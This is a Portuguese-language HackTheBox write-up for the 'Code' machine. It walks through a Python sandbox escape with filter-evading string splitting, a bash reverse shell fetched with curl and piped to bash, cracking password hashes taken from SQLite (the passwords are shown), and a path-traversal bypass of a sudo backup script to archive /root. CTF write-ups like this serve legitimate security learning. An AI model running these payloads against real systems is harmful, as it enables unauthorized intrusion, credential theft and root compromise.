> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Relato do HackTheBox Code

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**Habilidades:**

* Exploração SSTI – Editor de Código Python
* Extração do Banco de Dados SQLite e Quebra de Hashes
* Bypass do backy.sh por meio de manipulação de caminho (elevação de privilégios)
* Extração de Arquivo Tar do Diretório Raiz
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/8b517a7258fe780bc3b1a4a9e7466099d05997d6" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/569d357dc5c81ddc69e8878ebfa1cb67cb139fb5" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="/files/65c4b33802ff608546b42729ab4fccac1929102c" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.5000)

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="/files/f8244d4a90ad736162c6c4890ab4e084a3b9d872" alt=""><figcaption></figcaption></figure>

## Exploração SSTI – Editor de Código Python

<figure><img src="/files/b1b3902eb3e5caa2fe5ef8b25cda4ef310c55d02" alt=""><figcaption></figcaption></figure>

Um editor de código Python é descoberto na porta 5000. Durante tentativas típicas de injeção (`import os`, `exec`), etc.), erros são gerados.

<figure><img src="/files/341b8dfc0f2ce9c4bbb69071acc45f1e8c01a6c0" alt=""><figcaption></figcaption></figure>

Para contornar as restrições, usamos um loop para identificar uma classe que permita acesso às funções internas (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> Este loop em Python tenta explorar a injeção de template do lado do servidor (SSTI) buscando as subclasses do objeto base do Python (`object`) para uma classe que exponha o ambiente global (`__globals__`) por meio de seu `__init__` método. Em cada iteração, ele recupera o dicionário de funções internas (`__builtins__`) por reconstruir seu nome para evitar filtragens simples. Se o objeto contiver a `eval` função, o índice da classe é exibido. Essa técnica é comumente usada para alcançar funções perigosas como `eval`, `exec`, e `abrirem`.

<figure><img src="/files/281be5be3eb81ced913f82ce04e465c9e58055eb" alt=""><figcaption></figcaption></figure>

### Leitura `/etc/passwd`

Assim que o objeto contendo `eval` é identificado, executamos:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

Isso revela dois usuários: `martin` e `produção`.

<figure><img src="/files/65741cb680ca3a8b4a73babcb7c6c0ea43c0a2be" alt=""><figcaption></figcaption></figure>

### **Shell reverso**

#### Escutando na porta 443:

```bash
nc -nvlp 443
```

#### Script de Reverse Shell :

Crie um `index.html` arquivo contendo:

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

Iniciando um servidor web:

```bash
python3 -m http.server 80
```

Injeção da carga útil:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="/files/4bc2827f3478358a2eee9f4fc2936e63b5c510c3" alt=""><figcaption></figcaption></figure>

#### Manipulação do terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="/files/072cd36bd9a6eaae46cba86ddb6f7bb0c03bde80" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

### Acesso SSH com o usuário `martin`

<figure><img src="/files/ffe42f0134e66972cd1a558b96b3bb241e06455b" alt=""><figcaption></figcaption></figure>

Descobrimos um `database.db` arquivo. A inspeção via SQLite revela dois usuários (`desenvolvimento`, `martin`) com hashes de senha.

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Users</th><th>hashes</th></tr></thead><tbody><tr><td>desenvolvimento</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="/files/c7572cfabb7eb3721ae9dce9bb697ca818055125" alt=""><figcaption></figcaption></figure>

Quebre as senhas com [CrackStation](https://crackstation.net/), depois conecte-se:

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Users</th><th>hashes</th></tr></thead><tbody><tr><td>desenvolvimento</td><td>desenvolvimento</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="/files/e898c5c8e1348198533da15a3426a3d8279ed230" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="/files/2c09b32cbc1c3725f41197da328990f7763602e9" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh (script)

Aprendemos que `martin` pode executar `/usr/bin/backy.sh` como root.

```bash
sudo -l
```

<figure><img src="/files/2992b28be12f418f73ae36e22a943e777d440cdb" alt=""><figcaption></figcaption></figure>

**O script verifica:**

* Se o arquivo JSON fornecido existir,
* Que cada caminho em `directories_to_archive` está abaixo de `/var/`  ou `/home/`,
* Remove `../` sequências por meio de `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**Bypass:**

Configuramos um `pwned.json` arquivo:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Execução:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/c760aa764da46b33367b86eb093908b58d5b3b84" alt=""><figcaption></figcaption></figure>

Descompactação:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### Flag root.txt :)

<figure><img src="/files/4d86bdb1eac8ae187e1645526d0887db62f3c196" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9837fb061251842770ecd6cb37664555b038ebbd" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
